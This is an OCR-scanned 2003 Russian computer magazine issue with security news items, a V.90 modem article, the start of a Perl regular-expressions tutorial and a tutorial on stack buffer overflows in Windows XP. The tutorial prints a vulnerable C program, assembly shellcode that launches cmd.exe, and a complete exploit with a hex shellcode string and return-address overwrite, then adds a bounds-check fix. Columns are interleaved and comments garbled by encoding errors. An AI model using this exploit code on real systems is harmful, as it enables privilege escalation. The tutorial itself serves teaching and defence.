системной плате Xbox. Теперь Free-X утверждает, что кон-
соль можно модифицировать чисто программным спосо-
бом, и Microsoft упустила время.
«Сегодня для Microsoft очень печальный день, – го-
ворится в заявлении Free-X. – Месяц назад мы начали
попытки связаться с корпорацией, так как разработа-
ли и испытали первое полностью программное реше-
ние мод-чипа. Это означает, что открывать корпус Xbox
больше не нужно».
Единственный способ для Microsoft защитить свою кон-
соль от эксплоита – выпустить новое микропрограммное
обеспечение или переработать ПО Xbox Dashboard, ут-
верждает Free-X. Члены группы выражают сожаление, что
общественное мнение считает ее усилия шантажом.
№8(9), август 2003
bugtraq
сети
«С тех пор, как о наших попытках установить контакт с
Microsoft стало известно общественности, нас обвиняют
в намерении вымогательства или шантажа Microsoft, но
это неправда, так как мы сделали все возможное, чтобы
связаться с Microsoft», – говорится в заявлении одного из
членов группы.
Free-X предложила Microsoft описание всех разрабо-
танных группой эксплоитов, помощь по защите консоли
от других атак, исходные коды, полную конфиденциаль-
ность и дальнейшие исследования в области эксплоитов
для Xbox. «Наша команда всей душой желала сотрудни-
чать с Microsoft, и мы, скорее всего, приняли бы все пред-
ложенные нам условия», – говорится в заявлении.
Представительница Microsoft сказала, что предложе-
ния группы «оцениваются».
Если то, в чем уверяет Free-X, правда, группа может
претендовать на приз в 100 тыс. $, обещанный генераль-
ным директором компании Lindows Майклом Робертсо-
ном первой группе, которой удастся установить на консо-
ли Linux без модификации аппаратуры.
ZoneAlarm Pro 4.0 теряет часть правил
при обновлении с предыдущей версии
Уязвимость обнаружена в ZoneAlarm Pro 4.0. Некоторые
правила блокирования подключений не поддерживают-
ся в новой версии. Пользователи, обновившие firewall
до новой версии, могут потерять часть правил в процес-
се обновления. Как описано в документации к ZoneAlarm
Pro, правила «port rules for Programs» в предыдущей вер-
сии программы автоматически преобразуются к «expert
rules» при обновлении к версии 4.0. Однако некоторые
правила не будут преобразованы, поскольку они не под-
держиваются в новой версии. «expert rules» не могут ис-
пользоваться для блокировки определенных программ
на исходящие подключения к определенному порту. На-
пример, правило, которое запрещает Outlook Express
использовать 80 порт, не будет преобразовано.
Уязвимость обнаружена в ZoneAlarm Pro 4.0
Подделка RSA-сигнатур
в SSH Secure Shell
Уязвимость авторизации обнаружена в SSH Secure
Shell в SSH IPSEC Express Toolkit. Удаленный пользо-
ватель может подделать RSA-сигнатуры.
Сообщается, что некоторые RSA-сигнатуры могут
быть неправильно определены как допустимые, при вы-
полнении host- или user-идентификации, используя
цифровые сертификаты и RSA-ключи. Уязвимость воз-
действует на выполнение RSA PKCS v1.5.
Уязвимость обнаружена в SSH Secure Shell 3.1.0 –
3.1.7 and 3.2.0 – 3.2.4; SSH IPSEC Express Toolkit 5.0.0
Для устранения уязвимости установите обновлен-
ную версию программы, которую можно скачать с сай-
та http://www.ssh.com/
Составил Александр Антипов
69
сети

ПРОТОКОЛ V.90

ДЕНИС КОЛИСНИЧЕНКО

70

В этой статье мы поговорим об особенностях протокола V.90.
Сам протокол не очень новый и уже давно используется мно-
гими пользователями и провайдерами. Однако в процессе
эксплуатации у пользователей по тем или иным причинам
возникают разные проблемы, понять суть которых мы смо-
жем, рассмотрев принципы работы самого протокола V.90.
До появления протокола V.90 скорость передачи дан-
ных по телефонной линии 33,6 Кбит/с считалась теорети-
ческим и тем более практическим пределом. Из-за возни-
кающих шумов передача данных с большей скоростью счи-
талась невозможной. Старые (V.34) модемы очень надеж-
ны и могут работать на любой, даже сильно зашумленной
телефонной линии. Рассмотрим технологию передачи дан-
ных при использовании V.34-модемов. Цифровые данные
с помощью модема преобразуются в аналоговый сигнал,
который по телефонной линии проходит к телефонной стан-
ции. На станции данные оцифровываются, сжимаются и
по оптоволоконному каналу передаются на другую стан-
цию, которая выполняет декомпрессию и преобразование
в аналоговый сигнал полученных данных. Затем этот сиг-
нал снова преобразуется принимающим его модемом в
цифровую форму. Выходит, что для передачи информации
нужно выполнить четыре преобразования: два цифро-ана-
логовых и два аналогово-цифровых.
V.34-модемы оптимизированы только для работы с
аналоговой линией и они не «замечают» тот факт, что
линия, к которой они подключены, является цифровой.
Это означает, что даже если у вас цифровая линия, ваш
V.34-модем все равно будет считать ее аналоговой и пре-
высить предел скорости 33,6 Кбит/с вам не удастся. В пос-
леднее время подавляющее большинство новых линий яв-
ляются цифровыми, цифровыми также являются линии,
проложенные между телефонными станциями (к сожале-
нию, далеко не все). Распространение цифровых линий
стало основой для создания протокола V.90.
Примечание. До появления протокола V.90 компания-
ми Rockwell (совместно с Lucent) и U.S.Robotics были раз-
работаны два протокола – K56flex и X2. К сожалению, для
провайдеров и конечных пользователей эти технологии
не были совместимы. Поэтому возникла потребность со-
здать универсальный протокол передачи данных по теле-
фонной линии со скоростью 56 Кбит/с.
Над решением данной проблемы работал комитет ITU
(International Telecommunications Union). В феврале 1998
года был принят промышленный стандарт V.90 для моде-
мов 56K. Принятый протокол V.90 предусматривает полу-
чение данных со скоростью 56 Кбит/с и отправление дан-
ных в сеть на скорости 33,6 Кбит/с.
Модемы, поддерживающие протокол V.90, умеют рас-
познавать цифровую линию, что позволяет снизить в два
раза число преобразований передаваемых данных, что,
в свою очередь, позволяет увеличить скорость передачи
данных до 56 Кбит/с. Представим, что наш провайдер
подключен к телефонной станции по цифровой линии, а
мы – по аналоговой. В этом случае данные от провайдера
будут переданы на станцию без каких-либо преобразова-
ний – в цифровом виде. Затем по оптоволоконному кана-
лу они передаются нашей станции, которая выполняет
цифро-аналоговое преобразование. А если цифровая
№8(9), август 2003
сети
линия есть не только у провайдера, но и у пользователя,
то для передачи данных вообще не нужны никакие пре-
образования. Конечно, все это будет работать, если у нас
и у провайдера установлены модемы, поддерживающие
V.90. Так как такой модем не является роскошью (V.90
поддерживается даже самыми дешевыми модемами, на-
пример, модемом Motorola SM56, стоимостью $15). То же
самое можно сказать и о цифровой линии: многие про-
вайдеры давно перешли на цифровую линию.
Большинство V.90-модемов работают так: сначала они
пытаются установить соединение с использованием про-
токола V.90, если соединение установить невозможно, они
пытаются подсоединиться, используя стандарт K56flex.
Если же нельзя установить соединение с использованием
K56flex (например, «грязная» линия или с той стороны ис-
пользуется X2-модем), тогда модем переходит в обыкно-
венный V.34-режим. Некоторые модемы могут также под-
держивать протокол X2, которые они пытаются включить
после неудачной попытки установления протокола K56flex.
Немного подытожим. Для работы по протоколу V.90
нам необходимо:

Наличие V.90-модема. Практически все современные
модемы поддерживают V.90.

Провайдер, поддерживающий протокол V.90. Даже
если у вас будет цифровая линия и V.90-модем, но про-
вайдер не будет поддерживать V.90, толку от всего
этого будет мало, так как протокол V.90 подразумева-
ет передачу данных в сеть со скоростью 33,6 Кбит/с.

Подходящий телефонный канал.
Первые два условия вполне выполнимы: V.90-модем
можно купить в любом магазине, а число провайдеров, под-
держивающих V.90, растет с каждым днем. Наиболее слож-
ное условие – это наличие подходящего телефонного ка-
нала. Если между нашей (пусть даже цифровой) станцией
и станцией провайдера (тоже цифровой) отсутствует циф-
ровое уплотнение данных с передачей по оптоволоконно-
му каналу, то использование V.90 невозможно. Попросту
говоря: если между нашей станцией и станцией провайде-
ра не проложено оптоволокно, использовать V.90 нельзя.
Вот именно из-за этого возможно возникновение про-
блем при подключении к провайдеру и при передаче дан-
ных. В данном случае можно порекомендовать отключить
протокол V.90. Отключение V.90 может также потребовать-
ся и в случае, если наш провайдер не поддерживает V.90 –
не нужно полагаться на то, что модем сам правильно выбе-
рет нужный протокол. Возможно, это у него и получится – с
десятой попытки. К тому же скорость будет в два раза ниже,
чем при использовании V.34 – около 21 600 бит/с и ниже.
Отключить V.90 можно определенной AT-командой. Выбор
AT-команды зависит от модема (см. табл. 1):
Òàáëèöà 1. Âûáîð AT-êîìàíäû äëÿ îòêëþ÷åíèÿ ïðîòîêîëà V.90.
71
 сети
Для некоторых модемов для отключения V.90 можно ис-
пользовать команду AT-V90=0; а для отключения k56flex –
ATS38=0.
Теперь подробнее рассмотрим модем Morotola SM56.
Этот модем установлен на моей домашней машине. Дан-
ный модем совместим как с протоколом V.90, так и с про-
токолом K56flex. Команда отключения V.90 представлена
в таблице 1. Параметр %B# используется для ограниче-
ния скорости. Решетка (#) может принимать значения,
представленные в таблице 2.
Ðèñóíîê 1. Ïðîãðàììà Hyper Terminal.
Примечание 1. Значения с %B34 по %B48 доступны
только по протоколу V.90.
Примечание 2. Буква F означает, что данный режим
возможен только при использовании протокола K56Flex.
Например, для установки соединения по протоколу V.90
со скоростью 54 666 бит/с нужно ввести команду AT%B48.
Где вводить данную команду? В любом терминале,
например, Hyper Terminal. (см. рис. 1). После этого не за-
72
будьте ввести команду AT&W для сохранения настроек.
Òàáëèöà 2. Îãðàíè÷åíèå ñêîðîñòè.
Данную команду можно использовать в качестве стро-
ки инициализации (без AT). Для этого выполните: Пуск →
Панель управления → Модемы → Свойства → Подключе-
ние → Дополнительно:
Ðèñóíîê 2. Óñòàíîâêà ñòðîêè èíèöèàëèçàöèè.
Ваши вопросы, комментарии и пожелания присылай-
те по адресу dhsilabs@mail.ru.
Ссылки:
1. Подключение V.90:
http://isunet.baikal.ru/support/v90.htm
http://www.jurion.ru/gm56pci/page.php?chap-
ter=4&mnemo=f90
2. Полезные советы по работе с модемом:
http://www.avtlg.ru/service/modemhelplimit.htm
3. Оптимизация модема:
http://www.woodwolf.ru/modem/optim.htm
 безопасность

ПЕРЕПОЛНЕНИЕ БУФЕРА
В WINDOWS NT/2000/XP
СТАНИСЛАВ ГОШКО

Пусть что угодно говорят поклонники *nix-систем, но за-
щита в последних версиях операционных систем семей-
ства Windows сделала громадный скачок вперёд. И так
как языки C и C++ очень распространены и на платфор-
мах Windows, то атаки на переполнение буфера стали ре-
альной угрозой безопасности. Атаки такого типа извест-
ны уже очень давно, со времен операции «Полуденный
бес», которая проводилась в США, начиная с мая 1990
года, и была направлена против хакеров. Её проводила
«Секретная Служба». Переполнение буфера, правда, на
операционные системы семейства *nix использовалось ха-
керами по полной программе. Но реальная угроза дан-
ных атак на операционные системы семейства Windows
появилась гораздо позднее, в 1995-2002 годах.
Смысл атак на переполнение буфера заключается в
том, что существуют программы, запущенные с больши-
ми привилегиями, чем у пользователя, и благодаря пере-
полнению буфера для пользователя стало возможно по-
лучить эти привилегии (уязвимой программы).
Мы рассмотрим одну из самых распространённых атак
на переполнение буфера. Это так называемая атака на
«срыв стека». В большинстве своём данные атаки воз-
можны во многих программах, написанных на языках про-
граммирования C или C++.
Поэтому мы рассмотрим пример уязвимой програм-
мы, а также разработаем для неё эксплоит (программу,
которая реализует данную уязвимость).
Начнём с разработки простой программы, содержащей
данную уязвимость:
Откомпилируем её и выясним, что делает эта програм-
ма. Если запустить её без параметров, то она выведет
следующее:
Parameter is : 0(null)
Запустим её следующим образом:
c:\x-files\bug.exe aaaaaaa
Тогда данная программа выведет:
Parameter is : aaaaaaa
Но если в качестве параметра передать количество «a»
большее, чем 100, то данная программа просто ничего не
выведет в отличие от Windows NT, которая выводила сооб-
щение об ошибке. Поэтому реализовать атаку данного типа
под операционной системой Windows XP будет несколько
сложнее. Теперь давайте возьмём отладчик и посмотрим,
что же происходит при вызове нашей уязвимой функции.
Будем рассматривать пошагово:

При вызове функции vuln_func в стек заносится адрес
следующей инструкции (printf).

Рассмотрим вид стека перед вызовом функции lstrcpyA:

#include <stdio.h>
#include <windows.h>

Рассмотрим вид стека после вызова функции lstrcpyA:
void vuln_func(char *stroka)
{
char buffer[100];
// áóôåð
lstrcpyA(buffer,stroka);
// ôóíêöèÿ, â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà
} Так как наша переменная росла к адресу возврата, и
void main (int argc, char *argv[]) когда ей стало не хватать места, она молча и без вопро-
{ сов переписала адрес возврата нашими любимыми бук-
vuln_func(argv[1]); вами «aaaaaaaa...». Раз мы можем переписать адрес воз-
// âûçîâ óÿçâèìîé ôóíêöèè врата, значит, мы можем и заставить нашу программу
printf("Parameter is : %s",argv[1]);
} выполнять наш код.

74
 безопасность
Для этого вместо букв «a» мы будем использовать Аналог того, что будет делать наш эксплоит на С, бу-
символ с кодом 90 («\x90»), что означает инструкцию дет выглядеть примерно так:
ассемблера nop (задержка процессора на один такт).
Также нам необходимо точно определить, какими бай- #include <windows.h>
void main()
тами (по счёту) перезаписывается адрес возврата, что- {
бы мы знали, куда записывать наш новый адрес воз- WinExec("cmd.exe",1);
}
врата.
Обычно это делается методом «грубой силы», а по- Для определения адресов функций, которые необхо-
том по сообщению об ошибке определяются байты, по димы для корректной работы эксплоита, напишем ещё
которым был совершён переход. Но данный метод в на- одну маленькую программу.
шем случае не уместен, т.к. в Windows XP сообщение
об ошибке не вываливается. Поэтому нам придётся #include "windows.h"
#include "stdio.h"
вручную при помощи отладчика подсчитывать, какие
по счёту nop перетёрли адрес возврата, это несложно main(int argc, char *argv[])
{
и нетрудоёмко, т.к. в стеке все приравнивается к двой- // Äàííûå, íåîáõîäèìûå äëÿ ðàáîòû ïðîãðàììû
ному слову (4 байта). В нашем случае это оказались 4 HMODULE hnd1;
FARPROC a;
байта, начиная со 104. char *name1;
Теперь, когда мы знаем, какими байтами перетирает- char *modul1;
ся адрес возврата, мы должны подменить его таким об- // Âûâîä ñîîáùåíèÿ îá èñïîëüçîâàíèè óòèëèòû
разом, чтобы он передал управление нашему коду, а если printf("Usage GETADDR <module> <API function>\n");
if (argc < 3)
быть более точным, то он должен передать управление {
на наши nop. Реально очень удобно просто передать уп- // Åñëè çàïóùåíû áåç ïàðàìåòðîâ, òî âûâåäåì àäðåñà
// KERNEL32 è WIN API ôóíêöèè GetProcAddress
равление в отладчике на наши инструкции, но если это name1="GetProcAddress";
удалённое переполнение буфера или у вас нет под рукой modul1="KERNEL32";
}
отладчика? При помощи прямой подмены адреса на наш else
вычисленный адрес стека не получится, потому что ад- // Åñëè çàïóùåíû ñ ïàðàìåòðàìè, òî âûâåäåì ïî çàïðîñó
// ïîëüçîâàòåëÿ
рес стека начинается с нуля, а наш код не должен состо- {
ять из нулей. name1=argv[2];
modul1=argv[1];
Поэтому оптимальным вариантом будет обнаружить }
в памяти используемых программой библиотек или в па-
// Ïîëó÷àåì àäðåñ ìîäóëÿ
мяти самой программы обнаружить байты, соответству- hnd1=GetModuleHandle(modul1);
ющие инструкции «jmp esp» - ff e4. В статье Андрея Ко- // Ïîëó÷àåì àäðåñ WIN API ôóíêöèè
a=GetProcAddress(hnd1,name1);
лищака (1) предлагался вариант использования инструк- // Âûâîäèì îáà àäðåñà
ции «call esp», но с этим вариантом я должен не согла- printf("Module=[%s] Address=%xh\n",modul1,hnd1);
printf("Function=[%s] Address=%xh\n",name1,a);
ситься, так как при переходе на эту инструкцию с после-
дующим её исполнением мы перетираем байты, находя- // Âûõîä èç ïðîãðàììû
return(0);
щиеся по адресу esp, т.е. мы сами себе портим жизнь }
(при переходе на esp нам будет очень сложно запустить
наш код). Поэтому оптимальным вариантом будет поиск При помощи данной программы мы должны опреде-
в памяти байт «ff e4». В результате поиска мы обнару- лить адреса следующих WIN API функций:
жили данные байты в библиотеке USER32.dll и запомни-
WinExec
ли адрес (в каждой версии операционной системы он
ExitProcess
может быть отличным).
Теперь мы должны заняться формированием shell-кода – Данные функции находятся в ядре (kernel32.dll).
это будет строка Command Promt. Реально мы должны Вот теперь мы готовы перейти к разработке shell-кода
запустить программу cmd.exe. Чтобы не морочить вам на ассемблере. Наш shell-код не будет использовать шиф-
голову «кривыми» аналогами данной программы на C, рование текстовых строк, так как в нём будет только одна
начнём её писать сразу на ассемблере, но перед этим мы текстовая строка с финальным нулём, так же мы не дол-
должны кое в чём разобраться. жны использовать в тексте кода нулей, опять же из-за

Наш эксплоит будет зависеть от USER32.dll, что оз- особенностей стека.
начает на других версиях операционной системы Рассмотрим листинг:
Windows XP, по всей видимости, он работать не бу-
дет. .386
.model flat, stdcall

Исходя из предыдущего пункта, мы видим, что не имеет
смысла встраивать в наш shell-код обнаружение ад- extrn ExitProcess:proc
реса ядра и функции GetProcAddress.
.data
start:
Поэтому для экономии места мы в эксплоите жёстко
зафиксируем адрес нужной нам функции WinExec. ;---------------[ SUPA SHELL CODE]------------------------

№8(9), август 2003 75

 безопасность
Реально наша программа была запущена примерно
nach:
push 1 ; Ïàðàìåòð äëÿ âûçîâà WinExec следующим образом:
mov esi,esp ; Óñòàíàâëèâàåì esi íà ñòåê
try: ; c:\x-files\bug.exe ↵
lodsd ; Èùåì òåêñòîâóþ ñòðîêó PPPPPPPPPPPPPPPP...ÐÐ[new_addr][shell_c0de]
cmp eax,012345678h ; ñ èìåíåì ïðîãðàììû
jne try ;
Где new_addr – это новый адрес возврата, а shell_c0de –
push esi ; Íàøëè, ïîëîæèì, ñìåùåíèå это наш shell-код.
; â ñòåê
mov eax,77e684c6h ; Êëàäåì â eax àäðåñ ôóíêöèè В завершении статьи необходимо сказать, что суще-
call eax ; Âûçûâàåì WinExec -> cmd.exe ствует возможность поиска адреса ядра в памяти, но в
nop ; Ýòè nop äëÿ âûðàâíèâàíèÿ данном случае это неуместно, так как эксплоит получил-
nop ; íà ãðàíèöó äâîéíîãî ñëîâà ся зависимым от версии операционной системы. Вот если
xor eax,eax ; Îáíóëÿåì eax бы мы необходимую нам как воздух инструкцию (jmp esp)
push eax ; Êëàäåì 0 â ñòåê (ïàðàìåòð) обнаружили в самой программе, то это было бы просто
mov eax,77e75cb5h ; Êëàäåì â eax àäðåñ ôóíêöèè
call eax ; Call ExitProcess необходимо, и тогда бы наш эксплоит получился незави-
name1: симым от операционной системы.
dd 012345678h ; "Ìåòêà" èìåíè ïðîãðàììû
db 'cmd.exe',0 ; Èìÿ ïðîãðàììû Существует возможность «сбрасывания» не только ло-
kon: кальной консоли, но и удалённой. Shell-код для такого рода
;---------------------------------------------------------
.code backdoor был написан неким dark spyrit и опубликован в
nop ; журнале «Phrack».
end start
end Стоит перечислить несколько уязвимых функций:

strcpy
sprintf
Теперь, после всех этих изнурительных подготовитель-
strcat
gets
ных действий, мы готовы написать эксплоит, использую-
щий уязвимость в нашей программе. И их аналоги, адаптированные под Windows-системы:
Переходим к листингу эксплоита:
lstrcpyA

lstrcatA
#include <stdio.h>
#include <windows.h>
Атаки данного типа представляют серьёзную угрозу. Для
void main (int argc, char *argv[]) того чтобы от них защититься, всегда необходимо прове-
{
char *shell1= рять, чтобы размер приёмника был больше того, что в него
"\x6a\x01\x8b\xf4\xad\x3d\x78\x56\x34\x12\x75\xf8\x56\xb8\xc6\x84" помещается. Для примера мы исправим нашу уязвимую про-
"\xe6\x77\xff\xd0\x90\x90\x33\xc0\x50\xb8\xb5\x5c\xe7\x77\xff\xd0"
"\x78\x56\x34\x12\x63\x6d\x64\x2e\x65\x78\x65"; грамму. Так, чтобы она не была подвержена данной атаке.
Перейдём к листингу:
char mass[152];
char buff[160]="BUG.EXE ";
// n0p's #include <stdio.h>
memset(mass,'\x90',104); #include <windows.h>
// n0p's + jmp esp
strcat(mass,"\x4a\x75\xd7\x77"); void vuln_func(char *stroka)
// n0p's + jmp esp + shell_c0de {
strcat(mass,shell1); char buffer[100]; // áóôåð
// file_name + n0p's + jmp esp + shell_c0de if (sizeof(buffer)>strlen(stroka)) // !!!!!!!!!!!!!!!!
strcat(buff,mass); // ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà
WinExec(buff,1); lstrcpyA(buffer,stroka);
} }
void main (int argc, char *argv[])
В начале данного эксплоита идёт описание перемен- {
ных, и в том числе там есть наш shell-код и имя уязвимо- vuln_func(argv[1]); // âûçîâ óÿçâèìîé ôóíêöèè
го файла. Далее мы формируем строку: printf("Parameter is : %s",argv[1]);

Кладем туда 104 nop (на самом деле туда можно поло- }
жить всё что душе угодно, так как управление будет
передаваться всё равно за адрес возврата); Строка, отмеченная восклицательными знаками, про-

Затем в эту строку добавляем адрес инструкции «jmp веряет соответствие размеров строк, что предотвращает
esp»; возможность переполнения буфера в данной программе.

И только после этого адреса в строку помещаем наш Таким образом, мы рассмотрели одну из самых рас-
shell-код; пространённых хакерских атак в применении к Windows

В переменную buff к имени файла добавляется наша XP, а также возможности её предотвращения.
строка с nop с новым адресом возврата и с shell-ко-
дом. При написании статьи использовались материалы:
1. «Атаки на переполнение стека в Windows NT» – http://
После того как строка запуска программы передаётся hackzone.ru/articles/ntbo.html
в функцию WinExec, мы получаем нашу долгожданную и 2. «Smashing The Stack For Fun And Profit» by Aleph1 –
любимую консоль. www.phrack.org

76
программирование

РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ
И ПОИСК ТЕКСТА В PERL

ВЛАДИСЛАВ ГОШКО

78

В данной статье я попытаюсь как можно лучше объяснить,
что такое регулярные выражения в Perl. Изюминкой Perl
является работа с текстом – для этого он и был создан.
Регулярные выражения очень часто используются в Unix-
системах, например, для поиска файлов по шаблону, так-
же в sh, примеров много и все не перечислить, Perl не
исключение.
В некоторых случаях синтаксис регулярных выраже-
ний может быть немного другой, но поняв синтаксис ре-
гулярных выражений Perl, с другими проблем не будет.
Я читал много статей по этому поводу и видел много
книг, но действительно хорошо описывающего материа-
ла не нашел, потому что в одних книгах слишком сильно
растягивают материал и теряют основную нить рассказа,
в других же наоборот, очень мало... Поэтому я решил на-
писать эту статью, в которой я постараюсь оптимально и
ясно рассказать о регулярных выражениях и поиске тек-
ста. Причем не просто на словах, а на большом количе-
стве примеров.
Начнем с того, что в Perl имеются три основных опе-
ратора для работы с текстом:

m/.../ – проверка совпадений (matching)

s/.../.../ – подстановка текста (substitution)

tr/.../.../ – трансляция текста (translation)
также парочка полезных функций:

substr(EXPR,OFFSET,LEN,REPLACEMENT)

split(/PATTERN/,EXPR,LIMIT)
Оператор m/.../ пытается сопоставить шаблон, указан-
ный в качестве аргумента, с текстом, с которым идет срав-
нение. Например:
$string = "Tasty Berry";
if ($string =~ m/berry/i){
print "This is berry string!";
}
В данном случае будет выведена строка «This is berry
string!». Для сравнения скаляра с шаблоном нужно исполь-
зовать сравнение такого вида «=~».
Здесь операратор m/.../ вернет истину или ложь (т.к.
данное регулярное выражение используется в скалярном
контексте, а не в списковом – о нем ниже), если его опус-
тить, то оператор m/.../ будет использовать специальную
переменную $_.
Буква i после второй косой черты означает игнориро-
вание регистра, как вы видите, в шаблоне написано
«berry» а в $string – «Berry», т.е. если бы не было буквы i,
то наша программа не вывела бы строку «This is berry
string!». Шаблон m/berry/i совпадет со строками «BERRY»,
«berry», «BeRrY» и т. д.
$lines="";
open(FILE,"file.txt") or die $!;
while(<FILE>){
if(/exit/i){
last;
}else{
$lines.=$_;
}
}
close(FILE);
№8(9), август 2003
программирование
Данная программа открывает файл и идет по строкам
(по строкам, т.к. по умолчанию переменная $/ является
переносом строки, переопределяя ее, вы меняете терми-
натор строки), сохраняя каждую строчку в переменную
$lines, а если в строчке встречается слово «exit», то выхо-
дит из цикла.
Как вы уже успели заметить, я пропустил букву m в
начале оператора: этот оператор используется очень ча-
сто и можно использовать его сокращенную форму – без
первой буквы m.
Также поменять смысл на противоположный можно
просто сменив оператор «=~» на «!~», например:
$string = "Tasty Berry";
if($string !~ /berry/i){
print "This is NOT berry string!";
}else{
print "This is berry string!";
}
В данном случае будет выведена строка «This is berry
string!». Но если нам немного поменять строку таким об-
разом:
$string = "Tasty Strawberry";
Логически мысля, человек ищет строчку berry (с англ.
ягода), но у нас в строчке strawberry (с англ. клубника),
т.е. это нам не подходит, хотя наш шаблон все равно сра-
ботает и выведет «This is berry string!», хотя должен выве-
сти «This is NOT berry string!». Это получается, потому что,
когда оператор получает шаблон «berry» и другую стро-
ку, в которой он ищет символ «b», за которым следует
«e», затем «r», «r» и «y», а все, что находится до этой
последовательности или после нее, не имеет значения.
Поэтому придется улучшить шаблон, подставив мнимый
символ (об этих символах ниже), вот так:
$string = "Tasty Berry";
if($string !~ /\bberry\b/i){
print "This is NOT berry string!";
}else{
print "This is berry string!";
}
А вот сейчас все правильно – теперь наша программа
выведет «This is NOT berry string!».
«\b» в начале шаблона – это мнимый символ, соответ-
ствующий границе слова. Как вы видите, некоторые сим-
волы имеют определенный смысл для регулярных выра-
жений. Метасимволы могут создавать альтернативные
значения, организовывать повторы, группировать (что по-
зволяет запоминать часть найденной строки), создавать
классы символов и т. д. Все метасимволы начинаются с
обратной косой черты (\). Если шаблон содержит симво-
лы косой черты (например, анализ каталогов, или HTML-
тег), то лучше использовать другие ограничители, т.к.
перед каждой чертой придется ставить обратную косую
черту (\).
Вот пример:
$string = "/usr/bin/perl";
# íàïðèìåð, âû õîòèòå çàìåíèòü êàòàëîã /bin – íà /local/bin
$string =~ s/\/bin/\/local\/bin/ig;
79
 программирование
Как видите, перед каждой косой чертой пришлось ста-
вить обратную косую черту – некрасиво и очень громозд-
ко, поэтому заменим разделитель (символы ? и ' лучше
не использовать в качестве разделителей, т.к. шаблоны,
ограниченные этими символами, обрабатываются иначе):
$string = "/usr/bin/perl";
$string =~ s%/bin%/local/bin%ig;
Или можно вот так:
$string =~ s|/bin|/local/bin|ig;
Или:
$string =~ s(/bin)(/local/bin)ig;
Или так:
$string =~ s{/bin}{/local/bin}ig;
Точно также можно использовать квадратные скобки.
Эти же правила можно применять и для других операторов
этого класса. Если вы успели заметить, я использовал еще
один модификатор регулярных выражений, а именно g –
он означает глобальную поиск и/или замену, например:
$string = "Some path /usr/bin/perl\n...and another path ↵
usr/bin/perl";
$string =~ s%/bin%/local/bin%i;
print $string;
Вывод будет следующим:
Some path /usr/local/bin/perl
...and another path /usr/bin/per
Как вы видите, путь изменился только в первом со-
впадении с шаблоном, после этого наш оператор закан-
чивает работу, а вот если добавить модификатор g, тогда
регулярное выражение будет сопоставляться до конца тек-
ста, т.е. глобально. После добавления модификатора g
результат будет таков:
Some path /usr/local/bin/perl
...and another path /usr/local/bin/per
Теперь рассмотрим все по порядку, начнем с модифи-
каторов операторов s/.../.../ и m/.../:

i – игнорирует различие между заглавными и строч-
ными буквами;

s – метасимволу точка (.) разрешено соответствовать \n;

m – разрешает метасимволам ^ и $ привязываться к
промежуточным символам \n, имеющимся в тексте;

x – разрешает использовать пробелы и комментарии
в регулярных выражениях;

g – глобальный поиск и/или замена (т.е. по всему тексту);

с – работает только для m/.../, не позволяет сбрасывать
текущую позицию поиска;

o – однократная компиляция шаблонов;

e – говорит о том, что правый аргумент команды
s/.../.../ – это исполняемый код, в качестве подста-
новки будет использовано возвращаемое значение;
80

ee – говорит о том, что правый аргумент команды
s/.../.../ – это строка, которую нужно выполнить как
фрагмент кода, с помощью функции eval(), потом
значение интерполируется.
Перед тем как рассмотреть метасимволы, я хочу ска-
зать пару слов об обычных символах. В шаблоне любой
символ соответствует самому себе, если не является ме-
тасимволом или мнимым символом, или этим символом:
"\", "|", "(", "{", "[", "*", "+", "$", "?", "."
А теперь давайте посмотрим на все метасимволы:

\077 – восьмеричный символ;

\xFF – шестнадцатиричный символ;

\a – символ звонка (alarm);

\c[ – управляющие символы, т.е. CTRL + <символ>, в
данном случае это ESC;

\f – символ «прогона» страницы;

\d – соответствует цифре;

\D – соответствует любому символу, кроме цифр;

\e – символ ESC;

\l – следующая литера становится строчной;

\L – все последующие литеры становятся строчными
(вплоть до \E);

\u – следующая литера становится заглавной;

\U – все последующие литеры становятся заглавны-
ми (вплоть до \E);

\r – возврат каретки (CR);

\n – символ новой строки (LF);

\t – символ горизонтальной табуляции;

\v – символ вертикальной табуляции;

\Q – все последующие метасимволы становятся обыч-
ными (вплоть до \E);

\E – конец действия комманд \L, \U и \Q;

\s – соответствует любому пробельному символу (т.е.
пробел, символ вертикальной/горизонтальной табуля-
ции, символу новой строки, и т. д.);

\S – любой символ, кроме пробельного;

\w – алфавитно-цифровой символ (любая цифра, бук-
ва или символ подчеркивания);

\W – любой символ, кроме буквы, цифры или символа
подчеркивания.
Также в Perl есть определенные символы, которые со-
ответствуют не какой-нибудь литере, а означают выпол-
нение какого-нибудь условия, они называются мнимыми
символами. Вот они:

| – альтернатива;

! – символ логического NOT;

. – любой символ, кроме переноса строки;

^ – начало строки текста;

$ – конец строки текста;

\b – граница слова;

\B – отсутствие границы слова;

\A – «истинное» начало строки;

\Z – «истинный» конец строки или позиция перед сим-
волом начала новой строки, расположенным в «истин-
ном» конце строки;
 программирование

\z – «истинный» конец строки; Вышеперечисленные метасимволы, квантификаторы,

\G – граница, на которой остановился предыдущий гло- мнимые символы, специальные переменные – это та часть
бальный поиск; статьи, к которой вы будете обращаться чаще всего – по-

(?=шаблон) – после этой точки есть фрагмент текста, этому я собрал все вместе.
который соответствует указанному регулярному выра- А далее будем рассматривать более сложные реше-
жению; ния задач, с пояснениями.

(?!шаблон) – после этой точки нет текста, который бы Начнем с создания регулярных выражений. А более
соответствовал указанному регулярному выражению; точно со специальных переменных:

(?<=шаблон) – перед этой точкой есть фрагмент текста,
соответствующий указанному регулярному выражению; $string = "one two three four five";
$string =~ m/three/;

(?<!шаблон) – перед этой точкой нет фрагмента текста,
соответствующего указанному регулярному выражению; print $`; # ðåçóëüòàò: "one two "
print $'; # ðåçóëüòàò: " four five"

(?модификаторы) – задает модификаторы, которые ло- print $&; # ðåçóëüòàò: "three"
кальным образом меняют работу процедуры поиска. # òåïåðü íàñ÷åò ìàññèâîâ @+ è @-
print $-[0]; # ðåçóëüòàò: 8
В отличие от глобальных модификаторов имеют силу print $+[0]; # ðåçóëüòàò: 13
только для текущего блока, т.е. для ближайшей груп- # ïåðåìåííûå $#-, $#+ óêàçûâàþò íà äëèíó @-, @+ ñîîòâåòñòâåííî
# ñ ïîìîùüþ ôóíêöèè substr() ìîæíî ïîëó÷èòü ïåðåìåííûå $`, $',
пы круглых скобок, охватывающих конструкцию, на- # $&, íàïðèìåð
пример, шаблон ((?i)text) соответcтвует слову «text» без
